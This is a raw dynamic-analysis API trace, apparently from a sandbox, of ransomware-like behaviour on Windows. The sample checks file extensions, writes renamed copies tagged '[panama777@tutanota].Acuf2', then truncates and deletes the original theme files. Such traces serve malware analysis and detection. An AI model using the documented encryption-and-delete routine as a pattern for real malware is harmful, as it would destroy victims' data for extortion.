	[0048.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75
	[0048.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75
	[0048.748] lstrlenW (lpString=".doc") returned 4
	[0048.748] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0048.748] lstrlenW (lpString=".docx") returned 5
	[0048.748] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0048.748] lstrlenW (lpString=".pdf") returned 4
	[0048.748] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0048.748] lstrlenW (lpString=".xls") returned 4
	[0048.748] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0048.748] lstrlenW (lpString=".xlsx") returned 5
	[0048.748] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0048.748] lstrlenW (lpString=".ppt") returned 4
	[0048.748] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0048.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75
	[0048.748] lstrlenW (lpString=".zip") returned 4
	[0048.748] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0048.748] lstrlenW (lpString=".rar") returned 4
	[0048.749] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0048.749] lstrlenW (lpString=".bz2") returned 4
	[0048.749] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0048.749] lstrlenW (lpString=".7z") returned 3
	[0048.749] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0048.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75
	[0048.749] lstrlenW (lpString=".dbf") returned 4
	[0048.749] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0048.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75
	[0048.749] lstrlenW (lpString=".1cd") returned 4
	[0048.749] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0048.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75
	[0048.749] lstrlenW (lpString=".jpg") returned 4
	[0048.749] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0048.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75
	[0048.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75
	[0048.749] lstrlenW (lpString=".doc") returned 4
	[0048.749] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0048.749] lstrlenW (lpString=".docx") returned 5
	[0048.749] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0048.749] lstrlenW (lpString=".pdf") returned 4
	[0048.749] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0048.749] lstrlenW (lpString=".xls") returned 4
	[0048.749] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0048.749] lstrlenW (lpString=".xlsx") returned 5
	[0048.749] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0048.749] lstrlenW (lpString=".ppt") returned 4
	[0048.749] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0048.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75
	[0048.749] lstrlenW (lpString=".zip") returned 4
	[0048.749] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0048.750] lstrlenW (lpString=".rar") returned 4
	[0048.750] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0048.750] lstrlenW (lpString=".bz2") returned 4
	[0048.750] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0048.750] lstrlenW (lpString=".7z") returned 3
	[0048.750] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0048.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75
	[0048.750] lstrlenW (lpString=".dbf") returned 4
	[0048.750] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0048.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75
	[0048.750] lstrlenW (lpString=".1cd") returned 4
	[0048.750] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0048.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75
	[0048.750] lstrlenW (lpString=".jpg") returned 4
	[0048.750] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0048.750] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0048.750] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0048.750] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c
	[0048.752] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=2181) returned 1
	[0048.752] CloseHandle (hObject=0x20c) returned 1
	[0048.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif")) returned 0x20
	[0048.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0048.752] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c
	[0048.752] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0048.752] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0048.752] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210
	[0048.754] GetLastError () returned 0x0
	[0048.754] ReadFile (in: hFile=0x20c, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x885, lpOverlapped=0x0) returned 1
	[0048.757] WriteFile (in: hFile=0x210, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x890, lpOverlapped=0x0) returned 1
	[0048.758] ReadFile (in: hFile=0x20c, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1
	[0048.758] WriteFile (in: hFile=0x210, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0048.758] SetEndOfFile (hFile=0x210) returned 1
	[0048.758] CloseHandle (hObject=0x210) returned 1
	[0048.758] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0048.758] SetEndOfFile (hFile=0x20c) returned 1
	[0048.759] CloseHandle (hObject=0x20c) returned 1
	[0048.759] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0048.759] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif")) returned 1
	[0048.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74
	[0048.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74
	[0048.759] lstrlenW (lpString=".doc") returned 4
	[0048.759] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0048.759] lstrlenW (lpString=".docx") returned 5
	[0048.759] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0048.759] lstrlenW (lpString=".pdf") returned 4
	[0048.759] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0048.759] lstrlenW (lpString=".xls") returned 4
	[0048.760] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0048.760] lstrlenW (lpString=".xlsx") returned 5
	[0048.760] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0048.760] lstrlenW (lpString=".ppt") returned 4
	[0048.760] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0048.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74
	[0048.760] lstrlenW (lpString=".zip") returned 4
	[0048.760] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0048.760] lstrlenW (lpString=".rar") returned 4
	[0048.760] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0048.760] lstrlenW (lpString=".bz2") returned 4
	[0048.760] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0048.760] lstrlenW (lpString=".7z") returned 3
	[0048.760] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0048.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74
	[0048.760] lstrlenW (lpString=".dbf") returned 4
	[0048.760] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0048.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74
	[0048.760] lstrlenW (lpString=".1cd") returned 4
	[0048.760] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0048.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74
	[0048.760] lstrlenW (lpString=".jpg") returned 4
	[0048.760] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0048.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74
	[0048.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74
	[0048.760] lstrlenW (lpString=".doc") returned 4
	[0048.760] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0048.760] lstrlenW (lpString=".docx") returned 5
	[0048.760] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0048.760] lstrlenW (lpString=".pdf") returned 4
	[0048.760] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0048.761] lstrlenW (lpString=".xls") returned 4
	[0048.761] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0048.761] lstrlenW (lpString=".xlsx") returned 5
	[0048.761] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0048.761] lstrlenW (lpString=".ppt") returned 4
	[0048.761] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0048.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74
	[0048.761] lstrlenW (lpString=".zip") returned 4
	[0048.761] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0048.761] lstrlenW (lpString=".rar") returned 4
	[0048.761] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0048.761] lstrlenW (lpString=".bz2") returned 4
	[0048.761] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0048.761] lstrlenW (lpString=".7z") returned 3
	[0048.761] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0048.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74
	[0048.761] lstrlenW (lpString=".dbf") returned 4
	[0048.761] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0048.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74
	[0048.761] lstrlenW (lpString=".1cd") returned 4
	[0048.761] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0048.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74
	[0048.761] lstrlenW (lpString=".jpg") returned 4
	[0048.761] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0048.761] lstrcmpiW (lpString1=".PNG", lpString2=".Acuf2") returned 1
	[0048.761] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0048.761] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c
	[0048.762] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=20627) returned 1
	[0048.762] CloseHandle (hObject=0x20c) returned 1
	[0048.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png")) returned 0x20
	[0048.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0048.762] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c
	[0048.762] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0048.762] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0048.762] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210
	[0048.763] GetLastError () returned 0x0
	[0048.763] ReadFile (in: hFile=0x20c, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x5093, lpOverlapped=0x0) returned 1
	[0048.765] WriteFile (in: hFile=0x210, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0x50a0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x50a0, lpOverlapped=0x0) returned 1
	[0048.766] ReadFile (in: hFile=0x20c, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1
	[0048.766] WriteFile (in: hFile=0x210, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0048.766] SetEndOfFile (hFile=0x210) returned 1
	[0048.766] CloseHandle (hObject=0x210) returned 1
	[0048.767] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0048.767] SetEndOfFile (hFile=0x20c) returned 1
	[0048.767] CloseHandle (hObject=0x20c) returned 1
	[0048.768] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0048.768] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png")) returned 1
	[0048.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75
	[0048.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75
	[0048.768] lstrlenW (lpString=".doc") returned 4
	[0048.768] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0048.768] lstrlenW (lpString=".docx") returned 5
	[0048.768] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0048.768] lstrlenW (lpString=".pdf") returned 4
	[0048.768] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0048.768] lstrlenW (lpString=".xls") returned 4
	[0048.768] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0048.768] lstrlenW (lpString=".xlsx") returned 5
	[0048.768] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0048.768] lstrlenW (lpString=".ppt") returned 4
	[0048.768] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0048.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75
	[0048.768] lstrlenW (lpString=".zip") returned 4
	[0048.768] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0048.768] lstrlenW (lpString=".rar") returned 4
	[0048.768] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0048.769] lstrlenW (lpString=".bz2") returned 4
	[0048.769] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0048.769] lstrlenW (lpString=".7z") returned 3
	[0048.769] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0048.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75
	[0048.769] lstrlenW (lpString=".dbf") returned 4
	[0048.769] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0048.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75
	[0048.769] lstrlenW (lpString=".1cd") returned 4
	[0048.769] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0048.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75
	[0048.769] lstrlenW (lpString=".jpg") returned 4
	[0048.769] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0048.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75
	[0048.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75
	[0048.769] lstrlenW (lpString=".doc") returned 4
	[0048.769] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0048.769] lstrlenW (lpString=".docx") returned 5
	[0048.769] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0048.769] lstrlenW (lpString=".pdf") returned 4
	[0048.769] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0048.769] lstrlenW (lpString=".xls") returned 4
	[0048.769] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0048.769] lstrlenW (lpString=".xlsx") returned 5
	[0048.769] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0048.769] lstrlenW (lpString=".ppt") returned 4
	[0048.769] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0048.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75
	[0048.769] lstrlenW (lpString=".zip") returned 4
	[0048.769] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0048.769] lstrlenW (lpString=".rar") returned 4
	[0048.770] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0048.770] lstrlenW (lpString=".bz2") returned 4
	[0048.770] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0048.770] lstrlenW (lpString=".7z") returned 3
	[0048.770] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0048.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75
	[0048.770] lstrlenW (lpString=".dbf") returned 4
	[0048.770] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0048.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75
	[0048.770] lstrlenW (lpString=".1cd") returned 4
	[0048.770] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0048.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75
	[0048.770] lstrlenW (lpString=".jpg") returned 4
	[0048.770] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0048.770] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0048.770] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0048.770] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c
	[0048.770] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=1560) returned 1
	[0048.770] CloseHandle (hObject=0x20c) returned 1
	[0048.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif")) returned 0x20
	[0048.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0048.771] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c
	[0048.771] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0048.771] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0048.771] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210
	[0048.773] GetLastError () returned 0x0
	[0048.774] ReadFile (in: hFile=0x20c, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x618, lpOverlapped=0x0) returned 1
	[0048.775] WriteFile (in: hFile=0x210, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x620, lpOverlapped=0x0) returned 1
	[0048.776] ReadFile (in: hFile=0x20c, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1
	[0048.776] WriteFile (in: hFile=0x210, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0048.776] SetEndOfFile (hFile=0x210) returned 1
	[0048.777] CloseHandle (hObject=0x210) returned 1
	[0048.777] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
